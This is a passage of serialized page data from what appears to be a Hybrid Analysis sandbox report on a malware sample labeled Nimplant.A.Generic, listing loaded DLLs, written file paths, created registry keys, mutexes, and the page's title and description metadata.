ryptprimitives.dll","dhcpcsvc6.dll","OnDemandConnRouteHelper.dll","KernelBase.dll","gdi32full.dll","fltLib.dll","advapi32.dll","rasadhlp.dll","ucrtbase.dll","oleaut32.dll","mscoree.dll","pnrpnsp.dll","msvcp140.dll","vcruntime140_1.dll","combase.dll","shlwapi.dll","cryptsp.dll","kernel.appcore.dll","uxtheme.dll","winnsi.dll","msvcp_win.dll","rpcrt4.dll","IPHLPAPI.DLL","nsi.dll","dhcpcsvc.dll","webio.dll","dnsapi.dll","user32.dll","gdi32.dll","imm32.dll","bcrypt.dll","mswsock.dll","kernel32.dll","VxSSL64.dll","NapiNSP.dll","winrnr.dll","apphelp.dll","msvcrt.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\TENANTRESTRICTIONS\\PAYLOAD\\","sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6468:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]},{"name":"SM0:6468:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]}]}},"report_ids":{"sandbox_job_ids":["6af60ac95c5bc764af049809"]}}}]]}] 2c:[["$","title","0",{"children":"Malicious Nimplant.A.Generic Sample abc27cc99ef1… — Score 84/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample abc27cc99ef1…. Malware family: Nimplant.A.Generic. Threat score 84/100. 6/27 AV engines flagged this file. 4 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/abc27cc99ef167b4d3aa3648d696bd7068e9ab9d147934cd422f9ad8b5d49169"}],["$","meta","4",{"property":"og:title","content":"Malicious Nimplant.A.Generic Sample abc27cc99ef1… — Score 84/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample abc27cc99ef1…. Malware family: Nimplant.A.Generic. Threat score 84/100. 6/27 AV engines flagged this file. 4 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/abc27cc99ef167b4d3aa3648d696bd7068e9ab9d147934cd422f9ad8b5d49169"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Nimplant.A.Generic Sample abc27cc99ef1… — Score 84/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample abc27cc99ef1…. Malware family: Nimplant.A.Generic. Threat score 84/100. 6/27 AV engines flagged this file. 4 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L48","11",{}]] 32:null